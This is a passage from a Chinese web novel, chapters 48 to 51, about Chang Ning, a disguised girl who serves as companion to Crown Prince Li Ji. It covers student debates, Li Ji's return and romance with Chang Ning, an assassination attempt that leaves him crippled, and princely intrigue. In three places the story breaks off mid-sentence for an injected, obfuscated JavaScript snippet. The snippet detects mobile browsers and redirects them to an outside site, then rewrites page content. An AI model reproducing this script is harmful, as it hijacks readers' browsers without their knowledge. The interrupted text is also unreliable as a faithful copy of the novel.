“太傅博闻强识，稷儿年龄尚小时，朕便遣你给稷儿授课，”庆和帝罕见地没有动怒，脸上浮起一丝笑，“若得空，朕也乐意向太傅探讨长寿方子。但太傅，你人老了，仁者是会被盘剥吃掉的。” 太傅低眉，“陛下，老臣恳请您为太子殿下正名。” 庆和帝神色冷下来，“太傅，朕早就说过，如今不是八百年前。你讲孔孟，亦讲韩非孙武，为何如此执迷不悟？” 他转向柳公公，“送太傅一程。” 柳公公回转过来时，就见庆和帝正看着手中一份策论，指着策论上的名字，“朕听说，稷儿和他走得很近？” “是，”柳公公道，“常少爷当初被点为伴读，就是太子殿下亲自提的。” 庆和帝笑道：“稷儿慧眼。他父亲也是朕的伴读。” 柳公公笑笑，“随了您。” 庆和帝道：“这般年少。无妨，朕会照顾好他的。” …… 国子监下辖国子学、太学、四门、律学、书学、算学六学，由祭酒和司业掌管。本朝国子学压太学一头，但太学毕竟自前朝而来，历经数百年，底蕴深厚。 前朝时，大儒有新作，太学往往会传而诵之。更兼大儒在朝中任职，遇上朝政昏聩，一经上书，太学生则聚于太学门口，声援助力。 昔年人若为官，先入太学，再入宫中郎署，皇帝酌情擢用。如今开科取士，又有国子学坐镇，太学地位已然不复从前。但论起集会，还是他们擅长。 常宁就喜欢看这种热闹。 她在茶楼上品茶，悠哉悠哉地看太学生和开坛讲学的儒者辩驳，也是乐事一桩，毕竟总有一方会被骂得狗血淋头。 以前常宁都是和云策一起来的，现在云策不在，别的同窗又都很忙，常宁便只好一个人来了。 他们如今在下面辩的是“以道事君，不可则止”。 本来辩得好好的，一会儿辩道是什么，一会儿又辩到底该不该止，争得面红耳赤，直到几个上京告状的罪员家眷骂他们孬货，见到不公都不敢在陛下面前直言进谏，任由陛下被人蒙蔽，不配论道不配侍君，一群人都像是被泼了一盆冷水，整个呆住了。 太学生脸涨红，看清是个颤巍巍的老头，负手道：“你！罢了，夏虫不可语冰！” 老头耳背，伸长脖子去听，急得拍大腿，“呜哩哇啦说什么呢，听不清！” 常宁笑得都不敢喝茶了。 就这群太学生，路过的狗看不顺眼都得骂几句。她和云策看热闹被发现后，可没少被他们骂是隔墙窃听的小人。眼下看他们憋得一语不发，实在畅快。 被这么一打岔，他们的辩论越来越歪，直接歪到了京兆尹衙门外的一帮罪员家眷和江浙事情上。 这便不如先前辩道。如此敏感的话题，可大可小，若是触了哪位名公钜卿的霉头，放大了去，可有得苦头吃。 那儒者一抽鼻子，也顾不得风范了，高声吼道：“论完了，论完了！老夫不奉陪了！”带着书童脚下抹油地离开。 热血沸腾的学子哪里管他，“孬货！他不辩我们辩，明天就叫他身败名裂！” 常宁虚虚掩了窗子，为即将遭受抨击的儒者默哀，换了个地继续看。街上看热闹的人也散了，躲到各处悄悄看，生怕被他们波及，捉进大牢里去。但也有胆大又跑得快的，聚在近处看，也不算冷清。 太学生道：“证据没送来就喊冤，谁信呐？殿下一向勤勉克己、清明公正，没个证据空口白牙就想污蔑人？要有人信了，就多吃点豆腐脑补补，毕竟他这脑袋怕是豆腐块做的，嘁！” 当下就有人反驳：“这么多官员，一言不发就给杀了，江浙的政务怎么处理？民冤谁来判？叫天下人怎么想江浙的官？怎么想天下的官？你屎吃多了兜不住，就别出来满嘴喷粪。” 常宁正喝茶呢，听了仁兄口吐芬芳，呛了一大口，捂着脖子咳嗽。 那太学生抬头，就见个唇红齿白的少年人扒在窗边往下看，“又是你这隔墙窥伺的小人！青天白日、身处静室都能亏心成这样，还不回家点蜡治治你的目盲！” 常宁连忙哄道：“小人也仰慕君子嘛。我是特意来瞻仰仁兄你的风采的，快辩快辩，莫要蹉跎时光！” 他们不辩了，谁演热闹给她看啊？ 太学仁兄瞪一眼常宁，回身一挥衣袖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641846|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对国子学仁兄指指点点，“你休要绕我，触犯律法的官就该罚！殿下手持尚方宝剑，代陛下巡视江浙。在江浙，殿下就是我大魏最大的判官。罪员家眷若是不服殿下，那便跳出江浙到我大魏京都，上达天听，求陛下判案做主，岂是你这鼠目寸光之辈三言两语就能翻案的！呵，我们辩的是官犯了律法要不要杀，你回我杀了这官有什么流弊，简直风马牛不相及，听不懂人语耳！” 常宁也禁不住给国子学仁兄点了根蜡。如今国子学只招收三品以上官员、国公子孙及二品以上官员曾孙，基本不招收平民子弟。国子学多是富贵子弟，偶尔便有些怠懒，这位仁兄又巴巴地赶到太学这边辩道，连个助阵的同窗都摇不到。 国子学仁兄也是有急智的，继续绕道：“古人云，过犹不及。急于求成矫枉过正，哪里有慢慢来地好？” “好，我就让你输得心服口服，”太学仁兄服气了，顺着辩道，“你且听我讲。虑己身者，常图其所显而忽其所隐，备其所可畏而遗其所不疑。然疾发于所忽之中，而病起于不足疑之事。今有一子，婴疾求医。目而视之，扪而切之，喻而告知，言治未病也。其疾愈而忘忧，不以为然矣。及至唇紫舌乌，挝户而复求医，沉疴已极，医莫能救，始悔未防患于未然。喷粪兄你说，这病尚且轻的时候，难道就能不着急治吗？” 国子学顷刻之间便绕了好几个圈，“依你之言，我大魏病在何处？是病得尚轻还是病得无药可治？亦或是满朝公卿都看不出来，唯独你慧眼如炬看出‘未病’来？” 四下一静，太学仁兄皱眉，瞧见同窗目中的担忧。 不愧是国子学出来的，虽如今耽于玩乐，政治敏锐度却不低。这话，他若接了，必定要得罪朝廷官员。若说是治未病或没病，大家伙都知道他们先前辩的是江浙那几个被先斩后奏的罪员，要他睁眼说瞎话，他岂不是也要如那狂奔而逃的儒者一样身败名裂？ 热闹到这里就不好看了，常宁转转瓷盏，随手撂在桌案上，伸个懒腰准备回家。反正这太学仁兄辩论辩多了，往后不辩道也能做个讼师，总之饿不死。 桌案被店家挪过，常宁习惯了原先的布局，哪曾想这手一松开，瓷盏就落在地上摔得稀巴烂，在这四下皆静的地方发出清脆的响声，引得底下人下意识抬头来看。 尤其太学仁兄，脸都涨红了，指着常宁发抖：“好啊，你还来看我笑话！” 常宁绝望地和书剑对视一眼，从窗子里探出头去，伸指摇道：“仁兄，你不懂，这是掷杯为号，天要我助你！” “信了你这绣花枕头，我倒立吃屎！”太学仁兄怒吼。 “你竟妄想骗吃骗喝！”国子生震惊。 “可真？”常宁眼睛一亮，手撑窗棂三两下就跳出窗去，借力稳稳地落在地上，对上太学仁兄铁青的脸，“仁兄实乃大无畏之人，佩服佩服。只是阿堵恶臭熏人，还是免了为妙。” 绕着国子生转了两圈，常宁不住点头。要不是没胡子，她还能学严先生捻两把，“如今百姓建房，都要竖一根顶梁柱，如此屋脊才能不倒如山，佑人长安。然而木中生了蠹虫，及早除去还好，若是拖着不除，等蠹虫蛀空了顶梁柱，回天乏术，便有木倒屋毁人亡之忧。” 国子生挑眉，指指太学仁兄，“你的路子和他一样，绕来绕去，却不知我朝是否有病？” 常宁笑道：“我朝君明臣和，自然是未病咯。” 国子生喜色压不住，“好大的口气。满朝文武都未曾瞧出病来，你个黄口小儿难道有火眼金睛不成？” 看客亦失望叹气，太学仁兄感动至极，“贤弟高义！为兄未曾想过，你竟真要与我共担此辱。待明日，任他人谩骂漫天，我二人皆闭门不出！” “你别拉着我，让我继续，”常宁拂开他的手，高声回道，“这可不是我火眼金睛，是陛下独具慧眼。天下事都瞒不过陛下，也只有陛下最忧心天下百姓。若以四海论，陛下便是最高明的圣手。” “若说朝中诸公善治初病，陛下则能治未病。如今江浙事，无论是朝中诸公，还是如国子老兄和太学仁兄般善学的学子，都不能发一言、不能察寸忧，陛下却已经命太子殿下前往巡查，岂非医国圣手乎？江浙事无人能察，唯陛下眼明心亮，岂非我朝之‘未病’乎？只这未病，已被陛下用良药治了。” 太学仁兄关切地催道：“喷粪兄你说句话呀！是也不是？” 国子生一瞬间把九族回忆了个遍：“……是极。陛下圣明，三代以来，莫之能及。” 常宁挥一挥衣袖，招来书剑，“咱们走！” 太学仁兄追上来，“贤弟！我们明日还要在这里辩道，你来吗？” 常宁故作苦恼：“我是隔墙窥伺的小人，君子们论道，我就不来了。” “我赔罪，我赔罪！” 常宁笑道：“我有事不来了。你们辩什么？” 太学生：“今天的事没辩完，明天接着辩。” 常宁只觉得这群太学生格外高大，实在悍不畏死，拱手道:“大有可为！” 49. 回来 自从云策跟着云将军去西北后，常宁上学路上就没玩伴了。 如今距李稷到江浙去，已经过了两个月，形势已然转好。想必要不了多久，李稷就能回魏都。 这日散了学，常宁要家去，正撞上刘总管，诧异问:“有事吗？” 刘总管身体不大好，被李稷留在魏都，寻常并不来找常宁，笑眯眯道：“您来了就知道了。” 东宫这边，常宁近些日子也来过几次，大多是清冷肃穆的，除了宫人洒扫巡卫，几乎看不到人影。 此次一路行来，宫人面上都含着笑意。方才走到殿门外，常宁就听到方俞周的大笑声，还有几位陌生官员的谈笑声。 竹帘半垂，亭中几个影影绰绰的身影，露出形制不一的官袍，围在一处烧酒。再往上瞧，竹帘遮着，众人的身形便有些模糊，但常宁还是一眼就看到那个头戴玉冠、身姿笔挺的青年。 李稷招手。 刘总管小声叫常宁，常宁才愣愣地过去。 李稷无奈一笑。 方俞周等人亦被李稷突然的动作打断，顺势回眸去看。那几个从江浙一同回魏都述职的官员，见是个俊秀绝伦的少年人，又看李稷眉目间染上轻松惬意，纷纷称赞起来。 “殿下，这是哪位小友？观之有青云之姿啊！” “是极，是极。要说还是京城风水养人，才能养出来这等俊杰。” 李稷颔首，让常宁在他身侧落座，凤目潋滟，“孤的伴读。” 常宁弯唇笑笑。 她以前也是这样夸人的，听听就过了。 他们谈话，常宁在旁边听着，这才知道他们竟已去庆和帝面前述过职，只等明日早朝再在殿前汇报一次，休养几日就要回江浙了。 “吾等竟不知，那群蠹虫竟还敢买凶杀人。” “如今江湖上也有够张狂的。据说此次行刺殿下的，就是江湖上赫赫有名的千金一剑，只要给一万两白银，无论对方是谁，他都敢杀。至今不过五个月，已经接了十余单。” 李稷淡然道：“不过一任侠，暂且不提。倒是诸位，此行回了江浙，还望秉承初心，恪尽职守。” “是！” 待那几位江浙官员走后，方俞周便递上来一份名单，忿忿不平，“殿下，您不在的这些日子，这些吃里扒外的，都明里暗里投了二皇子和三皇子，微臣都给您记着。近日江浙局势转好，这些人竟还腆着脸想回来。” 李稷道：“此事明日再谈。” 方俞周知晓李稷要再思量，复又讲了些京中大事，便起身告退。 常宁在旁边吃点心，忽然被李稷掐住下颌转向他，“怎么了殿下？” 李稷幽幽道：“你不想孤？” 常宁：“胡说！我每天都在想你。” 李稷笑了，“不是说要忘了孤吗？” 常宁：“现在似乎还来得及？” “休想，”李稷拿出一个小巧精致的檀木盒，里面是颗浅粉色的珍珠，小小的，色泽很漂亮。 常宁看了一眼，转过头去，“我不要，你去送女孩子吧。” 李稷强硬地塞进常宁手心，“孤倒希望你是个小红妆。送你的，换了谁都不给。” 珍珠在常宁手心里滚动，常宁委屈：“一看你就不上心。这么小一粒，也不圆润，想必你连看都不会看一眼，却拿来打发我。” 李稷道：“这是孤亲自取的。” 常宁两指捏住珍珠，对着夕阳余晖细看，“勉强还行。”收了珍珠，常宁拉起李稷的手细看，秀眉皱成一团。 “做什么？” “我看你伤着没有，”常宁没看到伤口，满意点头，“殿下果真是天赋异禀，头一次就能取到这么漂亮的珍珠。我回去把它供起来！” “不是头一次，”李稷道，“孤取了许多次。”供起来犹如束之高阁，李稷看向常宁，“怎么不用？不喜欢？” 常宁低头，“我喜欢。可京城里没有哪家儿郎用珍珠，还是粉的。再说了，我也没地方用。” 李稷沉默一瞬，“……下次投胎记得看清楚。” 常宁宛如炸毛的猫，“说不定是您投胎时看错了。您若是个姑娘家，这珠子不就有用处了？” “呃……您当我没说，我回去把它镶在我的剑鞘上，一样好看。不是去江浙吗？怎么又去采珍珠了？” 李稷道：“回京路上绕行，见几个珠场有猫腻，停下来查了些时日，革办了些人。” “什么猫腻呀？” 李稷笑道：“久无战事，珠玉盛行。那边几个珠场为了采珠人多采珠，常常加以非人折磨。那些采珠人大多是从小就被弃养的，官府户籍几乎查不到从前的名户了。若采珠人死了，便会被远远载出海抛尸喂鱼，无人察觉。孤途径此地，惩治了场主，勒令官府给采珠人上籍，严查治下无籍之人。其余诸事，还待地方官员一一清办。这粒珍珠，就是孤当时从蚌壳中取来的。” 常宁道：“殿下你可真厉害。” 李稷：“莫贫嘴。” “连夸你都不让夸，走了。” 李稷攥住常宁手腕，“天色晚了，留下用膳。” 常宁桃花眼亮亮的，脸上的笑能晃进人心里去。 李稷做过许多这样的事，也听过许多奉承，但都不如常宁一句简简单单的称赞令他舒心。 父皇挑剔，母后不闻不问，太傅期望他做到尽善尽美。江山与子民本就是他立志要妥善打理的。 他能为百姓带来欢颜，但只有面前这张欢颜，是属于他的。 “常宁。” “嗯？” “你莫要忘了孤，你要一辈子都和在一起。” “那这很难了。” “为何？” “我就是很花心很花心啊，我就是会喜欢很多人。我今天喜欢你，明天就可能移情别恋喜欢别人……唔！” 李稷带常宁旋身，十指穿过常宁指缝，扣在门扉上，俯身吻上红唇。 与那双水润明亮的桃花眼相对，无需军鼓助阵，李稷耳边便雷声阵阵，抵在常宁额上，“孤不允许。孤不能没有你。” 常宁眼睫翕动，如蹁跹的蝶，“可你说，我们只能在一起六个月。你还曾对我说很粗鲁的话，你还想让我和你做很讨厌的事。”她沉吟一瞬，指尖点了点李稷的唇，“比这个更过分。” “不会的，”李稷道，“孤不会如此。你那时根本就看不到孤，孤只是想吓吓你，并非真有此心。” 常宁仰头亲了亲李稷下巴，微微踮脚按住李稷的肩，“放轻松，殿下。” 常宁笑道：“我们该用膳了。” 他俊美，博学，冷酷而又将善心给予子民。 只要李稷走入视线，他的目光、他的躯体，乃至身周的空气，都告诉常宁一件事。 李稷喜欢常宁。 李稷爱常宁。 至少在此刻，常宁也喜欢他。 “殿下。” 李稷回眸。 常宁眉眼皆是笑，“家人的第一要义是，永不抛弃。” …… 常宁本是要回家的，路上磨蹭了一会儿，和李稷走到了未央宫，就不好不进去了。 宫人入内通传，常宁略带诧异地看一眼，便老实等待。 华灯初上，常宁与李稷一同拜倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650588|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿上，装作和李稷认识但又不太熟的样子。殿里金砖锃亮，几乎要映照出人影来，一应用具华贵典雅。 皇后面带倦容，随意过问常宁几句走个场面，便问李稷此次江浙之行是否顺利云云。 两人的对话十分生硬，干巴巴的。常宁立在一旁，恨不得立马告辞。 皇后本是准备挥退李稷和常宁，忽地忆起一事，“稷儿，你不在京城的这些日子，秩儿为了你鞍前马后、四处奔波。老二早就看你们兄弟不顺，若不是秩儿坐镇京师，你江浙之行也不会如此顺利。” 常宁听得火大。李稷的江浙之行，根本就，一点也不顺利！ 李稷道：“孤得空，会去探望三弟。” 皇后满意点头，“你们兄弟二人到底是同气连枝。秩儿好了，你在朝中也能多些人照应。这般说着，本宫倒想起，秩儿与常宁一般大，过上几年就要选皇子妃。你弟弟终究比不得你会经营，你若是得了什么好差事，提点着他些。做出些功绩，他面上也有光，本宫为他相看也更放得开手脚。” 李稷：“是。” 又是几句场面话，常宁就和李稷退出来了。 李稷负手而行，步伐微快，神色在明暗交错的宫道上看不分明。 宫中人多眼杂，出了东宫，常宁就不会再去牵李稷手了，只弯眸笑道：“殿下，会经营是好事，旁人学都学不来的。” 无论是经营臣属关系还是经营江山，对皇子来说都是一门必修课。但常宁不喜欢皇后娘娘的口吻，这样一件好事，从皇后娘娘口中说出，倒像是成了蝇营狗苟之辈。既瞧不起，又何必要李稷分惠给三殿下呢？ 一路忍到回了东宫，常宁才气愤道：“殿下莫要被蒙骗了，三殿下就是故意的，我那天都听到你舅舅和外祖父商讨了，您得空问问老王大人便知晓。” 李稷推了杯淡茶给常宁，伸指在常宁颊侧一捏，“当心上火。孤的人尚且来不及提拔，岂会分利于人？放心便是。” 常宁嗓音都被拉变形：“殿下别怕，以后我娘就是你娘。我娘最好了！” 李稷耸眉一笑：“孤只缺你。” 常宁便跟着笑，解救自己的脸，忽然道：“殿下，你不娶亲吗？” 李稷摇头。 常宁蓦地有些惊悚，“您不会真是个断袖吧？” 李稷眉峰微敛：“你不也是？孤本不好此道，奈何遇见了你。” 常宁张张嘴，一时说不出话来。 完了完了完了！ “可我不喜欢断袖啊！” 李稷沉下脸，“你还想成家？孤竟不知你是此等……此等朝思暮想、三心二意之人。” 常宁觉得怪怪的，“可我真不喜欢断袖啊。您要成断袖了，那我也没办法了。” 李稷拂袖，背过身去，气得不轻，“能喜欢上你的，除了女子，不就只有断袖？孤若成断袖，便是因你。既是因你，孤便容不得你……” 他话还没说完，常宁就从背后抱住他。 腰肢仿佛被一团温热柔软的棉花包住。李稷甚至有些热，疑心常宁的呼吸是否透过秋裳撒在了背上。 常宁仰脸神神秘秘地笑，“我明白了！” 李稷：“什么？” 常宁松开李稷，微昂下巴：“我明白就好！” 因为她不是真男人。 所以李稷就不是真断袖。 完美！ 烛光溶溶，秋意肃寒，常宁的笑却如春风。李稷莫名贪恋那个怀抱的温暖。 世间怎会有如此生动鲜活之人，仿佛每一分每一毫都紧贴着他。 苍天若有灵，便叫他李稷同常宁相守一辈子。 50. 大盗 江湖上那桩案子被安在流寇身上，朝廷派当地总督领兵清了几次匪。 疑点尚存，江湖人本是不满的。然而，他们很快就顾不得不满。 二皇子克扣朝廷饷银豢养私兵的事被曝了出来，朝野上下一片哗然，庆和帝怒不可遏，不止将二皇子禁足，一连处置了好几个涉案官员，连宫中贵妃的品阶都一降再降，降到了宝林的位份。 如今魏都中风云四起，人人避祸而不及，这时候再去请朝廷翻案，只怕会撞到气头上。 一时京中的江湖人都少了许多，陆陆续续回了原籍地。但周盟主没有走，常宁偶尔还会在茶楼酒馆碰到他，他便指点些许武艺，托常宁代他向常瑛问好。 说起姐姐常瑛，常宁就想起姐夫刘长瀛。 从前竟不知，刘长瀛还是个势利小人。先前李稷到江浙去，在魏都的风评便不大好，有次常宁到刘府看望姐姐，正撞见常瑛垂泪，这刘长瀛还警告常宁以后不要再到他府上。 常宁当场就把他这个手无缚鸡之力的书生修理了一顿，要接姐姐出刘府。若不是刘父刘母着实待常瑛不错，又押着刘长瀛赔罪赌誓，常瑛心软，此时还不知常瑛在何处呢。 等李稷从江浙回来，这刘长瀛对常宁便又恭维起来，二皇子事发后尤甚。 他根本就配不上她姐姐！ 常宁怄得要死。 叔祖在世时，刘长瀛分明待常瑛深情款款，哪里知道才短短数月，便像是换了个人。 东宫，上下哀恸一片，十余个御医在寝殿进进出出。 庆和帝也来看过一次，一身道服，念了声道号，赏了一枚国师炼的仙丹，就又去修行了。 刘总管抱着拂尘守在殿门口，灰白眉弯压得很低，听着殿中御医激烈的争吵声，心绪烦闷。 他往远处眺望，见宫门处有些乱，瞧见个熟悉的人影，连忙过去察看。 常宁要往外走：“我有东西忘了，等会儿再过来。” 她刚一过来，就发现东宫戒严了，出入都要搜身。 但透过宫门往里看，又能看到里面有太医端着铜盆进进出出，心就不自觉揪了起来，总想着进去看看。 刘总管看清是常宁，挥手道：“这个不用搜。少爷你什么东西忘了不打紧，先和咱家进来。” 走近了，常宁才看出铜盆里是一盆盆血水，“这是怎么了？” 刘总管：“殿下遇刺，箭上有毒，太医们在刮骨疗伤。” 常宁嗓音发紧，“现下如何？” 刘总管如实道：“不知。太医用了麻沸散，但总归是疼的。” 一直到金乌西垂，太医们才摇着头满脸忧色地从殿中出来，“性命无忧，只是日后恐将不良于行。” 刘总管忙道：“可还有补救的法子？” 太医面面相觑：“我等才疏学浅，无能为力。” 殿里传来李稷的声音，依旧冷冽，但多了些虚浮，“刘璋。” 刘总管这心里头，就像是被雷给劈了一下，抬袖压压眼角，理好衣衫要跨进殿门，猝不及防被常宁拉住衣角。 “我能进吗？” 刘总管挤出个笑：“先委屈您等一等。” 常宁站在殿外，看着天色一点点变黑，说不上是什么滋味。 她想进去看看李稷，看他伤得怎么样，问他疼不疼。应该是疼的吧？刮骨疗伤，听起来就痛。失了那么多血，他又这么疼，想必就算是饿极了，也没有用膳的胃口。 刘总管很快就出来了，“常少爷，殿下说，您先回府，这几日暂时不要过来，待殿下好了，再传唤您。” 常宁有些难受：“他什么时候好啊？伤得如何？” 刘总管笑道：“殿下说了，小伤，过上几日自会好的。您可还记得皇觉寺的平安扣？殿下近来追忆往事，总遗憾与您同游时未曾请过一枚。您若是得空，和王老大人一同替殿下取一枚来，殿下也松快。” “最近都不见我吗？” “是。” “那我今天就去。” 宵禁还没到，常宁出了皇宫，到家里告知过爹娘，就冲到王老大人府上。 王老大人都要睡下了，胡乱套了衣裳被常宁拉出去，嚷嚷道：“做什么做什么？” “殿下说，要我们两个去皇觉寺给他请平安扣，令牌在我这里。事不宜迟，我们快些去。”常宁骑马，给他备了马车。 王老大人精神了，“老夫也要骑马，老夫老当益壮！” “那你骑吧。” 常宁踩着马镫落地，把缰绳递给他，自己悠悠上了马车，靠着车壁发呆。 王老大人敲敲车木，“说说吧，稷儿怎么了？” 常宁道:“遇刺，中了毒箭。太医刮骨疗伤，日后恐将不良于行。” 王老大人沉默一瞬，“可惜，怎么就没给他个干脆？” “你……你说什么？”常宁不可置信，“殿下他很敬重您。” “我知道，”王老大人摇头，“昨日他来看老夫，还说待来日，要给你封个侯，托我寻个好封号。” “稷儿自小就众星捧月、万众瞩目，傲气甚重。他素日里最喜同你交游，你便听老夫一句劝，不要去看他。” 常宁撩开车帘，“我就要去。” 王老大人一笑：“腿长在你身上，你要去，老夫也拦不住你。那什么平安扣，他不是要么？咱们给他带上十个八个的，让他每天不重样的换。” 皇觉寺里，暮鼓声声。 上次常宁来请平安扣时，还好请得很，抄抄经书就好。这次过来，师傅听说是给太子请的，道是要再多供奉几天来开光。 常宁一连在这边待了好多天，顺手给爹娘和表姐也请了一个。 …… 二皇子寝殿，碎瓷满地。 凭什么凭什么凭什么！ 凭什么李稷都成不良于行废人了，还能把他逼到这种地步。 父皇居然为了李稷一个废人要把他贬为庶人。 鹬蚌相争，叫皇位落到老三那个蠢蛋手里，他不甘心！ 二皇子高高抱起细颈瓶，胸中怒气不可遏制，就要砸下去。 大太监劝道：“殿下，您当心些，莫要砸伤自个儿……殿下、殿下，您快出来……” “蠢奴才滚开！” 庆和帝悠然的嗓音隔着殿门传来：“吾儿脾气见涨。” 殿门怦然大开，二皇子膝行到庆和帝身前，含泪抬脸，濡慕地望一眼他，低头抱住庆和帝大腿，“父皇，儿臣冤枉啊！儿臣向来奉行兄友弟恭，太子皇兄又事关国体，儿臣、儿臣岂敢派人行刺皇兄？” 庆和帝低头：“你兄友弟恭，你豢养私兵？” 二皇子满脸悲痛，伸手扇自己巴掌：“儿臣一时糊涂！” “够了，”庆和帝喝止他，“你要朕如何信你？” 纹有松鹤的道袍映在二皇子眼底，国师站在不远处，风轻云淡地笑着。 “父皇，国师一定能证明儿臣的清白！” 国师就是他和母妃引荐给父皇的，必然站在他这边。 对上庆和帝的目光，国师从袖子里取出一片龟甲，“陛下，一问便知。” 庆和帝颔首，内侍搬来烧龟甲的用具。熊熊大火映着国师晦明难辨的脸庞，他念着艰涩的祭语，很快龟甲上就显现出裂纹来。 “履虎尾，不咥人，亨，”国师顿了一下，抬头看庆和帝，“履道坦坦，幽人贞吉。” 二皇子眸光发亮。 庆和帝哼道：“既然上天这么说，朕就勉为其难留着你的皇子之位。但朕的儿子，要的就是一个孝字。何为孝？朕要江山永固，朕要国库如山，朕要长生不老，你们兄弟姊妹许多人，却一个也不能让朕舒心。看起来呢，朕有许多儿女。可实际上呢，有几个向着朕的？” “父皇，儿臣愿为您镇守边疆。” 太子不良于行，老三又是个绮襦纨绔，只要父皇不把他贬为庶人，二皇子坚信，他一定会是最终的胜利者。 “边疆苦寒，你可想好了？自古以来，少有太子离京监军的。” “儿臣志如磐石！”二皇子跪伏在地，深深垂首。只有这样，才能遮掩他眼底的狂热。 他确信没有领会错父皇的意思。 父皇真的有意立他做太子。 庆和帝的倚仗云一般远去了。举目殷殷相送，二皇子依稀能看到父皇迎风咳得佝偻的背，还有吞咽丹药时蠕动的脖颈。 那么柔软，一下就能掐断。 父皇他老了。 庆和帝抖抖袍袖，走进静室里。 除了他，只有时常伴在他身边而沾染了龙气的柳公公能进静室。 柳公公捧香往香龛里埋，忽而听到蒲团上打坐的庆和帝问：“虎是朕，还是朕的儿子？” “老奴鲁钝，”柳公公笑道，“老奴只知道，您是真龙，殿下们自然是龙子。” “太滑了不好，”庆和帝睁眼，叹息道，“他们没一个是为人子女的。” “稷儿如何？” 柳公公：“太医束手无策。” “朕再给他三个月。” …… 东宫，守卫精神奕奕地值守。 风吹过，一片瓦砾从宫墙上落下来。侍卫对视一眼，按上腰间佩剑，“上。” 刘总管从背后出来，连忙止住他们，“慢着慢着，这个不用抓。” 李稷的寝殿，常宁轻车熟路，闭着眼睛都能走过来。 殿中浮着散不开的药味，常宁如今倒觉得，那讨厌的沉香味也不是不能闻，起码比药味好闻多了。 床幔轻薄如纱，榻上安然沉睡的身影现于眼前。额头饱满，眉峰锐利，鼻如山峦，唇若薄削，确是李稷无疑。 确认没有找错人，常宁蹑手蹑脚靠近，呼吸都屏住了，一把掀开床幔钻进去，“桀桀桀……呼，好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李稷沉默摇头。 “奇也怪哉。”常宁摇头晃脑，“此事只能求助本大盗的祖师爷。” 李稷眉头死死皱在一起：“祖师爷？” 常宁抱拳托起，向天一叹，“有缘时，自会出现在我的梦里。” 虽然这是她胡诌的，但她也不是完全乱编嘛，“殿下，我们去寻这位配药的神医。神医能解箭伤箭毒，说不定对利器伤到骨头经络也有钻研。” “无妨，”李稷半垂眼眸，亦知希望渺茫，“尽人事，听天命。” 常宁拉起李稷的手，一根根掰开，十指相扣晃了晃。他似乎瘦了许多，手握着咯人，冰冰凉凉的。 秋末寒凉，李稷只着寝衣，拥着锦被与常宁谈话。 久不闻常宁话音，李稷抬眸，便见常宁正一眨不眨地盯着他，清透如茶的眼眸里写满跃跃欲试。 “你……” 常宁撞向李稷，将李稷扑倒在床榻上，脑袋在他颈窝里拱了拱，半撑起身，洋溢着笑去看李稷，“我太想你了，我真想抱抱你。” 方才短暂的接触里，常宁甚至能感受到李稷胸膛中的心跳。虽然李稷脸色依旧冷酷，带着病中的支离和长久积累的威势，但常宁还是从他细微闪烁的凤目中看出不平静，能听出他略带急促的呼吸。 “你在怕什么？怕我还是怕你的病？”胸闷、气短、短暂失言，在常宁的认知里，这是恐惧的征兆，“怕我的话，我保证以后再也不吓你了。如果你害怕你的病，那就更不用担心了，还有我呢。” 李稷道：“孤不会怕。” 常宁眉头皱起，“我是恶贯满盈江洋大盗，你不许盖过我的风头。欸，你快说——哎呀孤好怕怕哟~哈哈哈” “然后我就来安慰你。”常宁忍不住笑，托腮思考一瞬，让步道，“当然，你不这么说我也会安慰你的。” “睡吧，殿下。”常宁挑开床幔，坐在不远处的椅子上，枕着胳膊睡觉。 李稷：“与孤榻上同眠。” 常宁愤愤：“不行。先生说要发乎情止乎礼，我不能趁人之危兽性大发占你便宜，那也太不是人了！简直是禽兽！” 李稷道：“你一夜未出宫，明日如何解释？” 常宁难掩困意，“这不是有你嘛，你帮我好了。” 李稷又问：“你可有什么心愿？” 常宁脑袋很混沌了，“我想大家以后读书学艺，不再提心吊胆。” 李稷无奈：“谁求学时还会如此慌乱？” 常宁：“可我有姐姐有妹妹啊，天下人也都有姊妹，我不想她们念我不想念的书、学我不想学的东西。我什么都能学，我想她们和我一样。” “你真是……”李稷失笑，“罢了，共勉。明日再见。” 51. 寻医 月夜泛着冷酷的色调，未央宫通明的灯火仿佛连天际都能一并照亮。 端坐在主位上的女人雍容华贵，举手投足间流露出不可逼视的锐气，“稷儿还病着，离不了本宫，哥哥有话直说。” “妹妹，”王尚书俊逸面庞上是温和的笑，“我更中意秩儿。” 皇后蹙眉：“稷儿既嫡且长，聪颖绝伦，哥哥不妨再考虑一二。至于秩儿，散漫天真，有他哥哥在，做个富贵闲人便好。” 王尚书微笑：“他太聪明了。妹妹，你也不想他以后对你我赶尽杀绝吧？” “他绝不能册封太子，绝不能即皇帝位。” “够了，”皇后道，“以后不要再提。” 躺在床上睡觉的李稷猛得直起身子，呼吸急促，额上汗珠滚滚。 